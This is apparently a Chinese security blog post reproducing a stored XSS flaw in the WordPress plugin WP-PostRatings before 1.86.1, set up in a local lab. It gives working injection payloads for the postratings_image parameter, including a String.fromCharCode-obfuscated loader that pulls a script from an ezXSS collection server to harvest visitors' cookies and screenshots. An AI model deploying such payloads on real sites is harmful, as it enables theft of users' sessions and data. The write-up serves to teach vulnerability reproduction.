WP-PostRatings是一款WordPress的投票评分插件,截止目前最新版本为1.89,共有80,000+活跃安装量。
(插件官方介绍)
在这款插件的<1.86版本中,存在一个由于传递参数不当(也可理解为逻辑不严谨)引起的存储型XSS漏洞。这个漏洞原理并不复杂,整个利用过程比较适合新手练习。国内百度搜索结果并没有关于这个漏洞的信息,遂决定将自己的漏洞复现过程记录并分享,希望可以起到抛砖引玉的作用。
(百度搜索结果)
首先,肯定是环境搭建,我采用的是win10虚拟机+phpstudy,官网下载最新的wordpress源码并安装,这一步过程较为简单,在这里省略,不占据主要篇幅。
(环境搭建完成)
在这里按照自己的习惯在WWW目录下单独建立文件夹,将wordpress装入这个文件夹并配置了一个VirtualHost:
这样配置后,在浏览器输入mysite/即可进入建立好的网站。
接下来安装存在漏洞版本的插件,在wordpress插件市场搜索PostRatings,进入插件详情页面,点击WordPress.org插件页面 => Advanced View ,拉到页面最下方,选择1.86版本,下载即可(不要选择1.86.1版本,此版本修复了这个漏洞,具体可参考版本更新说明)
(下载存在漏洞的插件版本)
然后,在wordpress插件管理界面安装插件,选择下载的压缩包安装即可。
安装完成之后,wordpress左侧管理菜单会增加插件的管理菜单,如下图:
(PostRatings插件管理菜单)
根据插件安装说明,我们打开网站目录下的\wp-content\themes\[主题名称]\ 文件夹,因为我安装的主题为ashe,所以我这边对应的路径为\wp-content\themes\ashe\,我们在该文件夹下single.php的comments评论模块下,插入插件的代码:
这样,在每个文章评论下方,都会出现一个评分的功能,不过如果没有进一步修改,默认的样式会很丑:
不过这不是重点,目前已经顺利安装了插件并实现了文章评分功能,下一步开始复现这个漏洞。
根据Exploit-DB上提供的漏洞POC,存在漏洞的页面为postratings-options.php,也就对应插件管理菜单的Ratings Options页面,提交这个页面之后,就会发送可能导致漏洞的POST请求。
我们选择Ratings Options进入插件设置页面,打开Fidder,或者其他你喜欢的所有HTTP抓包改包工具准备抓包,默认评分方式为Starts并且有5个等级的评分,为了方便我们测试漏洞,我们将starts评分方式修改为heart,保证Fidder可以抓到数据包,拉到页面最下方点击SaveChanges。
在Fidder抓到这个请求的包之后,发送到Composer中准备修改数据,双击数据包,寻找postratings_image字段,发现这个字段当前的值为heart:
我们将这个参数随意修改一下,然后重新发送,刷新插件管理页面看看有没有异常:
(将此参数随意修改为三个小写字母x)
我们发现,刷新后的插件管理页面中有一张图像无法正常显示,查看该图像对应的源码,发现路径被提交的参数控制:
也就是说,我们现在可以控制图像路径中的一部分,那我们立即想到可不可以闭合路径,控制onerror属性执行js代码:
postratings_image=xxx”+onerror=alert(1);
发现并没有成功执行,继续查看源码,虽然闭合成功了,也插入了onerror属性,但是js代码后没有闭合,导致js执行失败,那干脆直接注释掉后边的内容:
(前方闭合成功,js代码后没有闭合)
postratings_image=xxx”+onerror=alert(1);//
刷新页面,成功执行代码:
(测试代码执行)
现在,我们已经验证了这个漏洞,接下来我们搭建一个XSS信息收集平台,模拟实战的漏洞利用。
我们在github上找到一个不错的开源XSS平台:ezXSS,就像它的名字一样,它是一个很简单易用且功能强大的XSS信息收集平台。下载源码,扔到phpstudy中去,virtualhost映射域名为ezxss:
这里注意选择https协议,在 设置=>配置文件=>httpd.conf=>Apache对应版本的配置文件中,Ctrl+F找到mod_rewrite模块并去掉前边的注释,开启这个模块。
(开启mod_rewrite模块)
访问https://ezxss/即可进入安装流程,安装后进入系统主界面:
在payload下即可设置需要收集的信息,并且找到可以对应不同情况的XSS payload,这里我们结合我们的利用方式,选择Create Element的方式:
直接复制并替换我们之前构造的利用代码,对网址稍作修改:
postratings_image=xxx”+onerror=eval(‘var a=document.createElement(\’script\’);a.src=\’https://ezxss\’;document.body.appendChild(a)’);//
我们直接用fidder重放这个修改参数后的POST包,并刷新页面,发现代码并没有执行,查看html源码发现,部分特殊字符被转义:
此时,立即想到使用String.fromCharCode函数绕过转义,祭出余弦大佬的XSS’OR,要特别注意,使用此函数时eval函数内的文本代码本身就不需要再进行转义,直接写正常代码就好,所以在进行编码前,先修改一下原代码:
var a=document.createElement(‘script’);a.src=’https://ezxss’;document.body.appendChild(a)
去掉了”script”和网址周围的转义符,直接将这段代码扔进XSS’OR编码:
编码完成,组合成为最终利用代码:
postratings_image=xxx”+onerror=eval(String.fromCharCode(118,97,114,32,97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,115,58,47,47,101,122,120,115,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41))//
修改参数,继续利用Fidder重放包,刷新页面:
终于,经过一系列努力,我们看到成功加载执行了ezxss平台的payload,现在去平台里看看都收集到了哪些信息:
不仅通过这个XSS漏洞收集到了浏览者的cookies、浏览器信息,甚至还保存了页面截图信息。
来源:freebuf.com 2021-01-07 00:22:06 by: 九月1234
请登录后发表评论
注册